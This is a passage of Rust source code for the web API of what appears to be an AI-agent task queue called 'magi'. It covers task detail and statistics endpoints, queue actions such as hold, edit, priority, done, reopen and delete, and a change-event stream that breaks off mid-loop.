7232        let inv = (task.status == TaskStatus::Blocked)
7233            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
7234        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7235        let view = match inv.as_ref() {
7236            Some(inv) => TaskView::with_inventory(task, inv),
7237            None => TaskView::from(task),
7238        }
7239        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
7240        Ok(Json(view))
7241    })
7242    .await
7243}
7244
7245async fn task_detail(
7246    State(ui): State<Arc<Ui>>,
7247    Path(id): Path<String>,
7248) -> ApiResult<Json<TaskDetailView>> {
7249    blocking(move || {
7250        let id = resolve_task(&ui.queue, &id)?;
7251        let task = ui
7252            .queue
7253            .get(&id)
7254            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
7255        let inv = if task.status == TaskStatus::Blocked {
7256            Some(crate::blockers::Inventory::load_for(
7257                &ui.queue,
7258                &ui.questions,
7259                &task,
7260            ))
7261        } else {
7262            None
7263        };
7264        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
7265        mark_badges(&ui, &task, &mut history);
7266        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
7267        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
7268        let origin = task.followup.as_ref().map(|fu| {
7269            followup_origin(
7270                fu,
7271                |tid| ui.queue.get(tid).ok(),
7272                |rid| read_run(&ui.runs, rid).ok(),
7273            )
7274        });
7275        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
7276        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7277        let task_view = match inv.as_ref() {
7278            Some(inv) => TaskView::with_inventory(task, inv),
7279            None => TaskView::from(task),
7280        }
7281        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home)
7282        .with_recovery_decisions(&ui.questions);
7283        Ok(Json(TaskDetailView {
7284            max_attempts,
7285            flow,
7286            followup_origin: origin,
7287            passes_total: history.len(),
7288            runs_distinct: distinct_runs(&task_view.task.runs),
7289            history,
7290            runs_unreadable,
7291            attempts_note: ATTEMPTS_NOTE,
7292            task: task_view,
7293        }))
7294    })
7295    .await
7296}
7297
7298/// A rate together with its denominator, so the client can tell "computed as
7299/// 0%" apart from "no data to compute it from" — both would otherwise
7300/// serialize as `0.0`. `None` means the denominator was zero.
7301#[derive(Debug, Serialize)]
7302struct RateView {
7303    pct: f64,
7304    denominator: usize,
7305}
7306
7307impl RateView {
7308    fn of(numerator: usize, denominator: usize) -> Option<Self> {
7309        (denominator > 0).then(|| Self {
7310            pct: 100.0 * numerator as f64 / denominator as f64,
7311            denominator,
7312        })
7313    }
7314}
7315
7316/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
7317/// rates, each paired with its own denominator via [`RateView`] rather than
7318/// exposing `Stats`' own percentage methods directly — see this module's
7319/// doc for why `Stats` itself is never serialized.
7320#[derive(Debug, Serialize)]
7321struct StatsTotalsView {
7322    runs: usize,
7323    merged: usize,
7324    ready: usize,
7325    blocked: usize,
7326    failed: usize,
7327    stalled: usize,
7328    verified_noop: usize,
7329    superseded: usize,
7330    in_progress: usize,
7331    completion_rate: Option<RateView>,
7332    tallied: usize,
7333    split: usize,
7334    split_rate: Option<RateView>,
7335    deliberated: usize,
7336    minds_changed: usize,
7337    converged: usize,
7338    review_rounds: usize,
7339}
7340
7341impl From<&stats::Totals> for StatsTotalsView {
7342    fn from(t: &stats::Totals) -> Self {
7343        Self {
7344            runs: t.runs,
7345            merged: t.merged,
7346            ready: t.ready,
7347            blocked: t.blocked,
7348            failed: t.failed,
7349            stalled: t.stalled,
7350            verified_noop: t.verified_noop,
7351            superseded: t.superseded,
7352            in_progress: t.in_progress,
7353            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7354            tallied: t.tallied,
7355            split: t.split,
7356            split_rate: RateView::of(t.split, t.tallied),
7357            deliberated: t.deliberated,
7358            minds_changed: t.minds_changed,
7359            converged: t.converged,
7360            review_rounds: t.review_rounds,
7361        }
7362    }
7363}
7364
7365/// [`crate::stats::AgentStats`] for the wire.
7366#[derive(Debug, Serialize)]
7367struct AgentStatsView {
7368    agent: String,
7369    entered: usize,
7370    wins: usize,
7371    empty: usize,
7372    win_rate: Option<RateView>,
7373    competitive_entered: usize,
7374    competitive_wins: usize,
7375    competitive_win_rate: Option<RateView>,
7376    solo_entered: usize,
7377    solo_adopted: usize,
7378    solo_adoption_rate: Option<RateView>,
7379}
7380
7381impl From<&stats::AgentStats> for AgentStatsView {
7382    fn from(a: &stats::AgentStats) -> Self {
7383        Self {
7384            agent: a.agent.clone(),
7385            entered: a.entered,
7386            wins: a.wins,
7387            empty: a.empty,
7388            win_rate: RateView::of(a.wins, a.entered),
7389            competitive_entered: a.competitive_entered,
7390            competitive_wins: a.competitive_wins,
7391            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7392            solo_entered: a.solo_entered,
7393            solo_adopted: a.solo_adopted,
7394            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7395        }
7396    }
7397}
7398
7399/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7400/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7401/// value, `None` when `rounds` is zero.
7402#[derive(Debug, Serialize)]
7403struct ReviewerStatsView {
7404    agent: String,
7405    rounds: usize,
7406    seated: usize,
7407    submitted: usize,
7408    adopted: usize,
7409    unique: usize,
7410    timeouts: usize,
7411    adopted_per_round: Option<f64>,
7412    precision: Option<RateView>,
7413    unique_rate: Option<RateView>,
7414    timeout_rate: Option<RateView>,
7415}
7416
7417impl From<&stats::ReviewerStats> for ReviewerStatsView {
7418    fn from(r: &stats::ReviewerStats) -> Self {
7419        Self {
7420            agent: r.agent.clone(),
7421            rounds: r.rounds,
7422            seated: r.seated,
7423            submitted: r.submitted,
7424            adopted: r.adopted,
7425            unique: r.unique,
7426            timeouts: r.timeouts,
7427            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7428            precision: RateView::of(r.adopted, r.submitted),
7429            unique_rate: RateView::of(r.unique, r.submitted),
7430            timeout_rate: RateView::of(r.timeouts, r.seated),
7431        }
7432    }
7433}
7434
7435/// [`crate::stats::AdvisorStats`] for the wire.
7436///
7437/// `reflection_rate` is approximate by construction — see
7438/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7439/// that caveat is static text in `index.html`, not a field here.
7440#[derive(Debug, Serialize)]
7441struct AdvisorStatsView {
7442    agent: String,
7443    seated: usize,
7444    proposed: usize,
7445    absent: usize,
7446    faint: usize,
7447    strong: usize,
7448    reflection_rate: Option<RateView>,
7449}
7450
7451impl From<&stats::AdvisorStats> for AdvisorStatsView {
7452    fn from(a: &stats::AdvisorStats) -> Self {
7453        Self {
7454            agent: a.agent.clone(),
7455            seated: a.seated,
7456            proposed: a.proposed,
7457            absent: a.absent,
7458            faint: a.faint,
7459            strong: a.strong,
7460            reflection_rate: RateView::of(a.strong, a.proposed),
7461        }
7462    }
7463}
7464
7465/// [`crate::stats::E2eStats`] for the wire.
7466#[derive(Debug, Serialize)]
7467struct E2eStatsView {
7468    rounds: usize,
7469    failures: usize,
7470    sole_detections: usize,
7471    deferred: usize,
7472    sole_rate: Option<RateView>,
7473}
7474
7475impl From<&stats::E2eStats> for E2eStatsView {
7476    fn from(e: &stats::E2eStats) -> Self {
7477        Self {
7478            rounds: e.rounds,
7479            failures: e.failures,
7480            sole_detections: e.sole_detections,
7481            deferred: e.deferred,
7482            sole_rate: RateView::of(e.sole_detections, e.failures),
7483        }
7484    }
7485}
7486
7487/// [`crate::stats::ReleaseBumpStats`] for the wire.
7488///
7489/// `clean` is sent as a raw count, computed the same way
7490/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7491/// needs_attention`) — never derived client-side from `automerge_enabled`,
7492/// which would misclassify a `merged_directly` bump (automerge rejected, but
7493/// magi merged it directly, so no human involvement) as needing attention.
7494#[derive(Debug, Serialize)]
7495struct ReleaseBumpStatsView {
7496    merged: usize,
7497    recorded: usize,
7498    pr_opened: usize,
7499    automerge_enabled: usize,
7500    merged_directly: usize,
7501    needs_attention: usize,
7502    clean: usize,
7503    coverage_rate: Option<RateView>,
7504    automerge_rate: Option<RateView>,
7505    attention_rate: Option<RateView>,
7506}
7507
7508impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7509    fn from(b: &stats::ReleaseBumpStats) -> Self {
7510        Self {
7511            merged: b.merged,
7512            recorded: b.recorded,
7513            pr_opened: b.pr_opened,
7514            automerge_enabled: b.automerge_enabled,
7515            merged_directly: b.merged_directly,
7516            needs_attention: b.needs_attention,
7517            clean: b.clean(),
7518            coverage_rate: RateView::of(b.recorded, b.merged),
7519            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7520            attention_rate: RateView::of(b.needs_attention, b.recorded),
7521        }
7522    }
7523}
7524
7525/// [`crate::queue::TaskCounts`] for the wire.
7526#[derive(Debug, Serialize)]
7527struct TaskCountsView {
7528    queued: usize,
7529    running: usize,
7530    done: usize,
7531    failed: usize,
7532    held: usize,
7533    blocked: usize,
7534    parked: usize,
7535}
7536
7537impl From<crate::queue::TaskCounts> for TaskCountsView {
7538    fn from(c: crate::queue::TaskCounts) -> Self {
7539        Self {
7540            queued: c.queued,
7541            running: c.running,
7542            done: c.done,
7543            failed: c.failed,
7544            held: c.held,
7545            blocked: c.blocked,
7546            parked: c.parked,
7547        }
7548    }
7549}
7550
7551/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7552/// runs recorded — the summary the UI's repository selector is built from.
7553/// Carries no nested `Stats`: picking a repo means re-fetching
7554/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7555/// aggregation rather than duplicating it.
7556#[derive(Debug, Serialize)]
7557struct RepoSummaryView {
7558    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7559    /// against, full path and all (see [`stats_get`]'s own doc for why).
7560    repo: String,
7561    /// Display name only; never used for matching.
7562    name: String,
7563    runs: usize,
7564    completion_rate: Option<RateView>,
7565}
7566
7567impl From<&stats::RepoStats> for RepoSummaryView {
7568    fn from(r: &stats::RepoStats) -> Self {
7569        let t = &r.stats.totals;
7570        Self {
7571            repo: r.repo.to_string_lossy().into_owned(),
7572            name: r.name.clone(),
7573            runs: t.runs,
7574            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7575        }
7576    }
7577}
7578
7579/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7580/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7581/// renders from them) are free to grow without that becoming a wire-contract
7582/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7583/// data" from "computed and it really is zero" the way [`RateView`] does.
7584#[derive(Debug, Serialize)]
7585struct StatsView {
7586    totals: StatsTotalsView,
7587    /// Best win rate first, as [`stats::collect`] already sorts it.
7588    agents: Vec<AgentStatsView>,
7589    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7590    reviewers: Vec<ReviewerStatsView>,
7591    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7592    advisors: Vec<AdvisorStatsView>,
7593    e2e: E2eStatsView,
7594    release_bumps: ReleaseBumpStatsView,
7595    queue: Option<TaskCountsView>,
7596    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7597    /// that field's doc. Asserted to match it in
7598    /// `stats_runs_unreadable_matches_health`.
7599    ///
7600    /// Always the whole-workload count, even when `repo` narrows every other
7601    /// field to one repository - an unreadable `run.json` carries no `repo`
7602    /// a per-repository count could attribute it to, and the queue/health
7603    /// views this mirrors never scope it either. The UI must not present it
7604    /// as if it were scoped to the selected repository.
7605    runs_unreadable: usize,
7606    /// Every repository with runs recorded, most runs first - what the UI's
7607    /// repository selector is built from. Always the full list regardless of
7608    /// `repo`, so switching repositories never needs a second request.
7609    repos: Vec<RepoSummaryView>,
7610    /// Runs per local day over the last 30 days, oldest first, always 30
7611    /// entries. Days are the *server's* local dates (the UI must not convert
7612    /// them again), cut by run creation and classified by current status.
7613    /// Narrowed by `repo` like every other run-derived field.
7614    daily: Vec<DailyStatsView>,
7615    /// The `?repo=` value this response was narrowed to, echoed back so the
7616    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7617    /// all-repositories view.
7618    repo: Option<String>,
7619    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7620    /// current config roster no longer lists them. Empty with `?all=true`, an
7621    /// unreadable config, or when nothing was retired.
7622    retired_hidden: Vec<String>,
7623}
7624
7625/// One day of [`StatsView::daily`].
7626#[derive(Debug, Serialize)]
7627struct DailyStatsView {
7628    /// `YYYY-MM-DD`, server-local.
7629    date: String,
7630    runs: usize,
7631    merged: usize,
7632    ready: usize,
7633    other: usize,
7634    /// `None` on a day with no runs, so it never reads as 0%.
7635    completion_rate: Option<RateView>,
7636}
7637
7638impl From<&stats::DayBucket> for DailyStatsView {
7639    fn from(b: &stats::DayBucket) -> Self {
7640        Self {
7641            date: b.date.to_string(),
7642            runs: b.runs,
7643            merged: b.merged,
7644            ready: b.ready,
7645            other: b.other,
7646            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7647        }
7648    }
7649}
7650
7651/// How many days [`StatsView::daily`] covers.
7652const STATS_DAILY_DAYS: usize = 30;
7653
7654/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7655/// repository. Matched by full-path equality against `RunState.repo` only
7656/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7657/// `--repo` is, because the value here always came from this same route's
7658/// own `repos` list in an earlier response, never typed by a human. A value
7659/// matching no run is a 404, not an empty aggregate: the caller asked for a
7660/// specific, named repository, and silently returning zeroes would look
7661/// exactly like a repository that has runs but none of interest.
7662#[derive(Debug, Default, Deserialize)]
7663#[serde(default)]
7664struct StatsQuery {
7665    repo: Option<String>,
7666    /// `?all=true` keeps agents that are no longer in the roster.
7667    all: bool,
7668    /// The dashboard fetches queue counts independently of run history.
7669    runs_only: bool,
7670}
7671
7672/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7673/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7674/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7675/// prints from. Reads every readable run on disk, exactly as
7676/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7677/// a separately-maintained tally could.
7678async fn stats_get(
7679    State(ui): State<Arc<Ui>>,
7680    Query(q): Query<StatsQuery>,
7681) -> ApiResult<Json<StatsView>> {
7682    blocking(move || {
7683        let states: Vec<RunState> = run_ids(&ui.runs)
7684            .into_iter()
7685            .filter_map(|id| read_run(&ui.runs, &id).ok())
7686            .collect();
7687        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7688            .iter()
7689            .map(RepoSummaryView::from)
7690            .collect();
7691        let mut scoped: Vec<&RunState> = states.iter().collect();
7692        let mut collected = match &q.repo {
7693            Some(repo) => {
7694                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7695                if filtered.is_empty() {
7696                    return Err(ApiError::not_found(format!(
7697                        "no runs recorded against repo `{repo}`"
7698                    )));
7699                }
7700                scoped = filtered.clone();
7701                stats::collect_refs(filtered)
7702            }
7703            None => stats::collect(&states),
7704        };
7705        if !q.all {
7706            let repo = q
7707                .repo
7708                .as_deref()
7709                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7710            stats::retain_current_roster(&mut collected, &repo);
7711        }
7712        let daily = stats::daily(
7713            scoped,
7714            jiff::Zoned::now().date(),
7715            &jiff::tz::TimeZone::system(),
7716            STATS_DAILY_DAYS,
7717        );
7718        let queue_counts = (!q.runs_only)
7719            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7720        Ok(Json(StatsView {
7721            totals: StatsTotalsView::from(&collected.totals),
7722            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7723            reviewers: collected
7724                .reviewers
7725                .iter()
7726                .map(ReviewerStatsView::from)
7727                .collect(),
7728            advisors: collected
7729                .advisors
7730                .iter()
7731                .map(AdvisorStatsView::from)
7732                .collect(),
7733            e2e: E2eStatsView::from(&collected.e2e),
7734            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7735            queue: queue_counts,
7736            runs_unreadable: runs_unreadable(&ui.runs),
7737            repos,
7738            daily: daily.iter().map(DailyStatsView::from).collect(),
7739            repo: q.repo.clone(),
7740            retired_hidden: collected.retired_hidden.clone(),
7741        }))
7742    })
7743    .await
7744}
7745
7746/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7747/// gives no reason - which must keep working, since not every hold has one.
7748#[derive(Debug, Default, Deserialize)]
7749#[serde(default, deny_unknown_fields)]
7750struct HoldBody {
7751    reason: Option<String>,
7752}
7753
7754async fn queue_hold(
7755    State(ui): State<Arc<Ui>>,
7756    Path(id): Path<String>,
7757    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7758) -> ApiResult<Json<TaskView>> {
7759    // An absent body is the ordinary case - most holds are unexplained, and
7760    // that has to stay a one-tap action rather than a form. A body that is
7761    // present and malformed is still a bad request.
7762    let body = match body {
7763        Ok(Json(body)) => body,
7764        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7765        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7766    };
7767    let reason = body.reason.filter(|r| !r.trim().is_empty());
7768    mutate(ui, id, move |t| {
7769        t.hold_manual(reason.clone());
7770        Ok(())
7771    })
7772    .await
7773}
7774
7775#[derive(Deserialize)]
7776#[serde(deny_unknown_fields)]
7777struct ReassignBody {
7778    repo: PathBuf,
7779}
7780
7781async fn queue_reassign(
7782    State(ui): State<Arc<Ui>>,
7783    Path(id): Path<String>,
7784    Json(body): Json<ReassignBody>,
7785) -> ApiResult<Json<TaskView>> {
7786    let home = ui.home.clone();
7787    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7788        .await
7789        .map_err(ApiError::bad_request_from)?;
7790    let notes = crate::task_reassign::advisory_notes(&task, &home);
7791    let mut view = TaskView::from(task);
7792    view.reassignment_notes = notes;
7793    Ok(Json(view))
7794}
7795
7796async fn queue_release(
7797    State(ui): State<Arc<Ui>>,
7798    Path(id): Path<String>,
7799) -> ApiResult<Json<TaskView>> {
7800    mutate(ui, id, |t| {
7801        t.release_operator("web", None);
7802        Ok(())
7803    })
7804    .await
7805}
7806
7807#[derive(Debug, Deserialize)]
7808#[serde(deny_unknown_fields)]
7809struct AttemptLimitBody {
7810    // Required even when clearing: missing fields must not silently erase an override.
7811    attempt_limit: serde_json::Value,
7812}
7813
7814async fn queue_attempt_limit(
7815    State(ui): State<Arc<Ui>>,
7816    Path(id): Path<String>,
7817    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7818) -> ApiResult<Json<TaskView>> {
7819    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7820    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7821        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7822    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7823}
7824
7825#[derive(Debug, Deserialize)]
7826#[serde(deny_unknown_fields)]
7827struct ImplementersBody {
7828    implementers: u8,
7829}
7830
7831async fn queue_implementers(
7832    State(ui): State<Arc<Ui>>,
7833    Path(id): Path<String>,
7834    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7835) -> ApiResult<Json<TaskView>> {
7836    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7837    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7838}
7839
7840#[derive(Debug, Deserialize)]
7841#[serde(deny_unknown_fields)]
7842struct UrgentBody {
7843    urgent: bool,
7844}
7845
7846async fn queue_urgent(
7847    State(ui): State<Arc<Ui>>,
7848    Path(id): Path<String>,
7849    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7850) -> ApiResult<Json<TaskView>> {
7851    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7852    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7853}
7854
7855#[derive(Debug, Deserialize)]
7856#[serde(deny_unknown_fields)]
7857struct ImmediateBody {
7858    immediate: bool,
7859}
7860
7861async fn queue_immediate(
7862    State(ui): State<Arc<Ui>>,
7863    Path(id): Path<String>,
7864    body: std::result::Result<Json<ImmediateBody>, JsonRejection>,
7865) -> ApiResult<Json<TaskView>> {
7866    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7867    mutate(ui, id, move |t| t.set_immediate(body.immediate)).await
7868}
7869
7870/// The body of `POST /api/queue/{id}/priority`.
7871#[derive(Debug, Deserialize)]
7872#[serde(deny_unknown_fields)]
7873struct PriorityBody {
7874    priority: i32,
7875}
7876
7877/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7878///
7879/// [`Task::set_priority`] is the one place the "not while running" rule is
7880/// stated; this route only carries the body to it and lets its `Err` become
7881/// the 4xx the card shows.
7882async fn queue_priority(
7883    State(ui): State<Arc<Ui>>,
7884    Path(id): Path<String>,
7885    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7886) -> ApiResult<Json<TaskView>> {
7887    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7888    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7889}
7890
7891/// The body of `POST /api/queue/{id}/edit`.
7892#[derive(Debug, Deserialize)]
7893#[serde(deny_unknown_fields)]
7894struct EditBody {
7895    title: String,
7896    instruction: String,
7897    /// Save even though the new text names a branch, commit or pull request
7898    /// that unfinished work already owns.
7899    #[serde(default)]
7900    force: bool,
7901}
7902
7903/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7904/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7905/// that refusal's message is what the sheet shows back.
7906async fn queue_edit(
7907    State(ui): State<Arc<Ui>>,
7908    Path(id): Path<String>,
7909    body: std::result::Result<Json<EditBody>, JsonRejection>,
7910) -> ApiResult<Json<TaskView>> {
7911    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7912    // The judge is an agent call, so it is awaited here, outside the claim
7913    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7914    // remembered, and the save refuses if the task moved underneath it.
7915    let mut judged: Option<(String, PathBuf)> = None;
7916    if !body.force {
7917        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7918        let (id, text) = (id.clone(), body.instruction.clone());
7919        let (seen, hits) = blocking(move || {
7920            let id = resolve_task(&queue, &id)?;
7921            let t = queue.get(&id)?;
7922            if text == t.instruction {
7923                return Ok((None, Vec::new()));
7924            }
7925            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7926            Ok((Some((t.instruction, t.repo)), hits))
7927        })
7928        .await?;
7929        if let Some((_, repo)) = &seen {
7930            let cfg = crate::config::Config::discover(repo, None)
7931                .ok()
7932                .map(|(c, _)| c);
7933            let screened =
7934                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7935                    .await
7936                    .map_err(|dup| {
7937                        ApiError::conflict(dup.render(
7938                            "Nothing was saved. If it is not a duplicate, repeat the request \
7939                             with \"force\": true.",
7940                        ))
7941                    })?;
7942            if let crate::dupes::Screened::Unjudged(why) = screened {
7943                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7944            }
7945        }
7946        judged = seen;
7947    }
7948    let force = body.force;
7949    mutate(ui, id, move |t| {
7950        if !force && body.instruction != t.instruction {
7951            match &judged {
7952                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7953                _ => {
7954                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7955                }
7956            }
7957        }
7958        t.edit(body.title.clone(), body.instruction.clone())
7959    })
7960    .await
7961}
7962
7963#[derive(Debug, Default, Deserialize)]
7964#[serde(default, deny_unknown_fields)]
7965struct CompleteBody {
7966    reason: Option<String>,
7967    result: Option<String>,
7968    discard: bool,
7969}
7970
7971/// Close through the same audited merge/discard guard as the CLI.
7972async fn queue_done(
7973    State(ui): State<Arc<Ui>>,
7974    Path(id): Path<String>,
7975    body: std::result::Result<Json<CompleteBody>, JsonRejection>,
7976) -> ApiResult<Json<TaskView>> {
7977    let body = match body {
7978        Ok(Json(body)) => body,
7979        Err(JsonRejection::MissingJsonContentType(_)) => CompleteBody::default(),
7980        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7981    };
7982    let state = Arc::clone(&ui);
7983    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
7984    let task = crate::task_completion::close_claimed(
7985        &ui.queue,
7986        &ui.home,
7987        claimed,
7988        crate::queue::CompletionActor::Web,
7989        body.reason,
7990        body.result,
7991        body.discard,
7992    )
7993    .await
7994    .map_err(ApiError::completion)?;
7995    Ok(Json(TaskView::from(task)))
7996}
7997
7998#[derive(Debug, Deserialize)]
7999#[serde(deny_unknown_fields)]
8000struct ReopenBody {
8001    reason: String,
8002}
8003
8004/// Restore a safely unlanded completion to Held, never straight to execution.
8005async fn queue_reopen(
8006    State(ui): State<Arc<Ui>>,
8007    Path(id): Path<String>,
8008    Json(body): Json<ReopenBody>,
8009) -> ApiResult<Json<TaskView>> {
8010    let state = Arc::clone(&ui);
8011    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
8012    let task = crate::task_completion::reopen_claimed(
8013        &ui.queue,
8014        &ui.home,
8015        claimed,
8016        crate::queue::CompletionActor::Web,
8017        &body.reason,
8018    )
8019    .await
8020    .map_err(ApiError::completion)?;
8021    Ok(Json(TaskView::from(task)))
8022}
8023
8024/// `DELETE /api/queue/{id}`.
8025///
8026/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
8027/// names this task: a `running` status or an orphaned `.lock` left behind by a
8028/// killed daemon is a leftover, and treating either as authority made the
8029/// task undeletable from the phone for good. The associated runs, if any, are
8030/// kept: a run is self-contained history and not an appendage of the task.
8031async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8032    blocking(move || {
8033        let id = resolve_task(&ui.queue, &id)?;
8034        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
8035        ui.queue
8036            .remove(&id, in_flight, &ui.questions)
8037            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
8038        Ok(StatusCode::NO_CONTENT)
8039    })
8040    .await
8041}
8042
8043/// Resolve the operator's reference, then reload under the same claim a daemon takes.
8044fn claim_task(queue: &Queue, reference: &str) -> ApiResult<(crate::queue::Claim, Task)> {
8045    let id = resolve_task(queue, reference)?;
8046    let claim = queue.claim(&id).map_err(|e| {
8047        ApiError::conflict(format!(
8048            "{e:#} - a daemon is running this task, so it cannot be \
8049             changed from here yet; wait until it is released, then retry"
8050        ))
8051    })?;
8052    Ok((claim, queue.get(&id)?))
8053}
8054
8055/// Read a task, change it, write it back, under the queue's own lock.
8056///
8057/// Taking the same claim a daemon takes is what makes hold, release,
8058/// priority, edit, and done safe to press while magi is running: without it
8059/// the daemon's next save would land on top of the operator's change and
8060/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
8061/// both do, for a running task - and that refusal becomes the 4xx the card
8062/// shows, same as any other domain rule.
8063async fn mutate(
8064    ui: Arc<Ui>,
8065    id: String,
8066    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
8067) -> ApiResult<Json<TaskView>> {
8068    blocking(move || {
8069        let task = {
8070            let (_claim, mut task) = claim_task(&ui.queue, &id)?;
8071            change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
8072                Ok(dup) => ApiError::conflict(dup.render(
8073                    "Nothing was saved. If it is not a duplicate, repeat the request with \
8074                     \"force\": true.",
8075                )),
8076                Err(e) => ApiError::bad_request_from(e),
8077            })?;
8078            ui.queue.put(&mut task)?;
8079            task
8080        };
8081        let inv = (task.status == TaskStatus::Blocked)
8082            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
8083        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
8084        let view = match inv.as_ref() {
8085            Some(inv) => TaskView::with_inventory(task, inv),
8086            None => TaskView::from(task),
8087        }
8088        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
8089        Ok(Json(view))
8090    })
8091    .await
8092}
8093
8094/// The change stream: one revision number per store, on connect and whenever
8095/// any of them moves.
8096///
8097/// One shared worker scans stores; clients only forward its notifications.
8098async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
8099    ui.monitor.ensure_worker(&ui);
8100    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
8101    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
8102
8103    let state = Arc::clone(&ui);
8104    tokio::spawn(async move {
8105        let initial_revisions = {
8106            let guard = match state.monitor.latest.lock() {
8107                Ok(g) => g,
8108                Err(p) => p.into_inner(),
8109            };
8110            guard.as_ref().map(|(r, _)| *r)
8111        };
8112        if let Some(revisions) = initial_revisions {
8113            let initial_payload = serde_json::json!({
8114                "queue_rev": revisions.0,
8115                "runs_rev": revisions.1,
8116                "questions_rev": revisions.2,
8117                "talks_rev": revisions.3,
8118                "notifications_rev": revisions.4,
8119                "loop_rev": revisions.5,
8120            });
8121
8122            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
8123                if tx.send(event).await.is_err() {
8124                    return;
8125                }
8126            }
8127        }
8128
8129        loop {
8130            match tokio::select! {
8131                _ = tx.closed() => return,
8132                value = broadcast_rx.recv() => value,
8133            } {
8134                Ok(notif) => {
8135                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
8136                    else {
8137                        break;
8138                    };
